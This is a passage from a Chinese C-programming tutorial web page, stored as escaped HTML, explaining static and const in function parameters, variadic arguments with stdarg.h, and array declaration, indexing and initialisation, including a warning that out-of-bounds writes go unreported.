class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e可以用来修饰函数本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eTwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e result = num * \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e(result);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estatic\u003c/code\u003e关键字表示该函数只能在当前文件里使用,如果没有这个关键字,其他文件也可以使用这个函数(通过声明函数原型)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e也可以用在参数里面,修饰参数数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estatic\u003c/code\u003e对程序行为不会有任何影响,只是用来告诉编译器,该数组长度至少为3,某些情况下可以加快程序运行速度。另外,需要注意的是,对于多维数组的参数,\u003ccode\u003estatic\u003c/code\u003e仅可用于第一维的说明。\u003c/p\u003e\u003ch4 id=\"const-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#const-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"const 说明符\"\u003e\u003c/a\u003econst 说明符\u003c/h4\u003e\u003cp\u003e函数参数里面的\u003ccode\u003econst\u003c/code\u003e说明符,表示函数内部不得修改该参数变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003ef()\u003c/code\u003e的参数是一个指针\u003ccode\u003ep\u003c/code\u003e,函数内部可能会改掉它所指向的值\u003ccode\u003e*p\u003c/code\u003e,从而影响到函数外部。\u003c/p\u003e\u003cp\u003e为了避免这种情况,可以在声明函数时,在指针参数前面加上\u003ccode\u003econst\u003c/code\u003e说明符,告诉编译器,函数内部不能修改该参数所指向的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *p = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 该行报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,声明函数时,\u003ccode\u003econst\u003c/code\u003e指定不能修改指针\u003ccode\u003ep\u003c/code\u003e指向的值,所以\u003ccode\u003e*p = 0\u003c/code\u003e就会报错。\u003c/p\u003e\u003cp\u003e但是上面这种写法,只限制修改\u003ccode\u003ep\u003c/code\u003e所指向的值,而\u003ccode\u003ep\u003c/code\u003e本身的地址是可以修改的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p = \u0026amp;x; \u003cspan class=\"comment\"\u003e// 允许修改\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e本身是可以修改,\u003ccode\u003econst\u003c/code\u003e只限定\u003ccode\u003e*p\u003c/code\u003e不能修改。\u003c/p\u003e\u003cp\u003e如果想限制修改\u003ccode\u003ep\u003c/code\u003e,可以把\u003ccode\u003econst\u003c/code\u003e放在\u003ccode\u003ep\u003c/code\u003e前面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p = \u0026amp;x; \u003cspan class=\"comment\"\u003e// 该行报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果想同时限制修改\u003ccode\u003ep\u003c/code\u003e和\u003ccode\u003e*p\u003c/code\u003e,需要使用两个\u003ccode\u003econst\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"可变参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%AF%E5%8F%98%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"可变参数\"\u003e\u003c/a\u003e可变参数\u003c/h3\u003e\u003cp\u003e有些函数的参数数量是不确定的,声明函数的时候,可以使用省略号\u003ccode\u003e...\u003c/code\u003e表示可变数量的参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是\u003ccode\u003eprintf()\u003c/code\u003e函数的原型,除了第一个参数,其他参数的数量是可变的,与格式字符串里面的占位符数量有关。这时,就可以用\u003ccode\u003e...\u003c/code\u003e表示可变数量的参数。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003e...\u003c/code\u003e符号必须放在参数序列的结尾,否则会报错。\u003c/p\u003e\u003cp\u003e头文件\u003ccode\u003estdarg.h\u003c/code\u003e定义了一些宏,可以操作可变参数。\u003c/p\u003e\u003cp\u003e(1)\u003ccode\u003eva_list\u003c/code\u003e:一个数据类型,用来定义一个可变参数对象。它必须在操作可变参数时,首先使用。\u003c/p\u003e\u003cp\u003e(2)\u003ccode\u003eva_start\u003c/code\u003e:一个函数,用来初始化可变参数对象。它接受两个参数,第一个参数是可变参数对象,第二个参数是原始函数里面,可变参数之前的那个参数,用来为可变参数定位。\u003c/p\u003e\u003cp\u003e(3)\u003ccode\u003eva_arg\u003c/code\u003e:一个函数,用来取出当前那个可变参数,每次调用后,内部指针就会指向下一个可变参数。它接受两个参数,第一个是可变参数对象,第二个是当前可变参数的类型。\u003c/p\u003e\u003cp\u003e(4)\u003ccode\u003eva_end\u003c/code\u003e:一个函数,用来清理可变参数对象。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eaverage\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i, ...)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e total = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list ap;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(ap, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= i; ++j) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e total += va_arg(ap, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(ap);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e total / i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eva_list ap\u003c/code\u003e定义\u003ccode\u003eap\u003c/code\u003e为可变参数对象,\u003ccode\u003eva_start(ap, i)\u003c/code\u003e将参数\u003ccode\u003ei\u003c/code\u003e后面的参数统一放入\u003ccode\u003eap\u003c/code\u003e,\u003ccode\u003eva_arg(ap, double)\u003c/code\u003e用来从\u003ccode\u003eap\u003c/code\u003e依次取出一个参数,并且指定该参数为 double 类型,\u003ccode\u003eva_end(ap)\u003c/code\u003e用来清理可变参数对象。\u003c/p\u003e\u003ch2 id=\"数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"数组\"\u003e\u003c/a\u003e数组\u003c/h2\u003e\u003ch3 id=\"简介-3\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-3\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e数组是一组相同类型的值,按照顺序储存在一起。数组通过变量名后加方括号表示,方括号里面是数组的成员数量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e scores[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个数组\u003ccode\u003escores\u003c/code\u003e,里面包含100个成员,每个成员都是\u003ccode\u003eint\u003c/code\u003e类型。\u003c/p\u003e\u003cp\u003e注意,声明数组时,必须给出数组的大小。\u003c/p\u003e\u003cp\u003e数组的成员从\u003ccode\u003e0\u003c/code\u003e开始编号,所以数组\u003ccode\u003escores[100]\u003c/code\u003e就是从第0号成员一直到第99号成员,最后一个成员的编号会比数组长度小\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e数组名后面使用方括号指定编号,就可以引用该成员。也可以通过该方式,对该位置进行赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escores[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003escores[\u003cspan class=\"number\"\u003e99\u003c/span\u003e] = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例对数组\u003ccode\u003escores\u003c/code\u003e的第一个位置和最后一个位置,进行了赋值。\u003c/p\u003e\u003cp\u003e注意,如果引用不存在的数组成员(即越界访问数组),并不会报错,所以必须非常小心。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e scores[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003escores[\u003cspan class=\"number\"\u003e100\u003c/span\u003e] = \u003cspan class=\"number\"\u003e51\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003escores\u003c/code\u003e只有100个成员,因此\u003ccode\u003escores[100]\u003c/code\u003e这个位置是不存在的。但是,引用这个位置并不会报错,会正常运行,使得紧跟在\u003ccode\u003escores\u003c/code\u003e后面的那块内存区域被赋值,而那实际上是其他变量的区域,因此不知不觉就更改了其他变量的值。这很容易引发错误,而且难以发现。\u003c/p\u003e\u003cp\u003e数组也可以在声明时,使用大括号,同时对每一个成员赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"number\"\u003e18\u003c/span\u003e, \u003cspan class=\"number\"\u003e95\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,使用大括号赋值时,必须在数组声明时赋值,否则编译时会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"number\"\u003e18\u003c/span\u003e, \u003cspan class=\"number\"\u003e95\u003c/span\u003e}; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,数组\u003ccode\u003ea\u003c/code\u003e声明之后再进行大括号赋值,导致报错。\u003c/p\u003e\u003cp\u003e报错的原因是,C 语言规定,数组变量一旦声明,就不得修改变量指向的地址,具体会在后文解释。由于同样的原因,数组赋值之后,再用大括号修改值,也是不允许的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"number\"\u003e18\u003c/span\u003e, \u003cspan class=\"number\"\u003e95\u003c/span\u003e}; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,数组\u003ccode\u003ea\u003c/code\u003e赋值后,再用大括号重新赋值也是不允许的。\u003c/p\u003e\u003cp\u003e使用大括号赋值时,大括号里面的值不能多于数组的长度,否则编译时会报错。\u003c/p\u003e\u003cp\u003e如果大括号里面的值,少于数组的成员数量,那么未赋值的成员自动初始化为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 